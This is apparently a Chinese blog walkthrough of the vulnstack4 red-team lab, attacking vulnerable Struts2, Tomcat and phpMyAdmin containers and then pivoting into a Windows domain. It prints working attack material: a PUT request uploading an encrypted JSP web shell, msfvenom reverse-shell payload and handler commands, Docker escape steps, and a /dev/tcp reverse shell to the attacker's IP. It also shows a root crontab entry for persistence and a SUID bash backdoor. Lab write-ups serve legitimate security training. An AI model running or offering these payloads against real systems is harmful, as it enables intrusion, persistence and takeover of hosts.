apsry

去留无意,宠辱不惊

0%

红日靶场4-vulnstack4

红日靶场4 vulnstack4

环境搭建

img

虚拟机设置主机

image-20220321210038092

ubuntu NAT+VM6,其它都是VM6内网

目标端

ubuntu

IP1: 192.168.43.133
IP2: 192.168.183.128
ubuntu:ubuntu

win7
IP: 192.168.183.129
douser:Dotest123

DC

IP: 192.168.183.130
administrator:Test2008

攻击端

kali 192.168.43.130

ubuntu准备

1、开启struts2服务

1
2
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d

2、开启tomcat服务

1
2
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d

3、开启phpmyadmin服务

1
2
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613
sudo docker-compose up -d

image-20220321213347400

外网

信息收集

nmap -sT -sV 192.168.43.133

image-20220321220029910

s2-045

image-20220321215939977

image-20220321220002524

phpmyadmin,tomcat

https://www.cnblogs.com/miraitowa666/p/14840838.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.43.136:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 628



<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";

/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);

Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

我们这个时候拿了权限,直接上msf

内网

MSF

生成木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.130 LPORT=4444 -f elf > shell.elf

起个http服务

image-20220321221026475

image-20220321221102027

执行命令下载

image-20220321221141420

赋权再执行

image-20220321221224298

1
2
3
4
5
6
7
use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost 192.168.0.114

set lport 4444

执行下,可以看到上线了

image-20220321221448937

容器是通过 cgroup 实现资源限制,判断容器是否在一个 cgroup 组中

使用下面命令,查看是否存在 dockerrnv 文件

ls -alh /.dockerenv

image-20220321221728538

docker逃逸(CVE-2019-5736)

建议在这之前做个快照,因为攻击完成会影响docker运行

这个时候得考虑docker逃逸

cve-2019-5736

利用CVE-2019-5736进行docker逃逸
下载并编译main.go脚本,生成攻击payload: https://github.com/Frichetten/CVE-2019-5736-PoC
打开main.go脚本,将执行的命令替换成反弹shell命令

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

image-20220321224113679

msf上传

image-20220321224430171

赋权执行

image-20220321224410244

模拟复现

image-20220321232933527

docker(挂载磁盘逃逸)

image-20220322164400723

当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。

查看磁盘文件: fdisk -l

新建目录以备挂载: mkdir /test

将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test

即可写文件获取权限或数据

image-20220321234655346

写反弹shell脚本

1
2
3
4
5
6
7
8
9
touch /test/tmp/test.sh

chmod +x /test/tmp/test.sh

ls -ll /test/tmp/test.sh

echo "#!/bin/bash" >> /test/tmp/test.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.43.130/9090 0>&1" >> /test/tmp/test.sh

image-20220321235003801

写入任务计划

1
2
3
sed -i '$a*/2 *   * * *   root  bash /tmp/test.sh ' /test/etc/crontab

cat /test/etc/crontab

image-20220321235238871

image-20220321235321927

加个用户,再给个suid shell

1
2
3
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
/tmp/shell -p

image-20220322000051398

image-20220322000104820

即可root权限

横向渗透

弹个shell给msf

image-20220322160733999

image-20220322160857782

fscan

这边可以直接传个fscan上去扫描

image-20220322165341678

报了域控和ms17-010

image-20220322165353973

venom

这边起个venom

https://github.com/Dliv3/Venom/releases/tag/v1.1.0

./admin_linux_x64 -lport 6666

image-20220322170420510

把agent传上去

image-20220322170729240

进入节点,起个代理

image-20220322170940341

然后msf直接设置代理来攻击

image-20220322173443984

image-20220322173550357

然后拿下主机后就是ms14-068和抓hash

具体参考

https://www.bilibili.com/video/BV19r4y1y7Nk?from=search&seid=13855736893927951137&spm_id_from=333.337.0.0

win7的IP一直不能改,懒得提权改了,后面的和和前面的横向移动都差不多,主要是docker有意思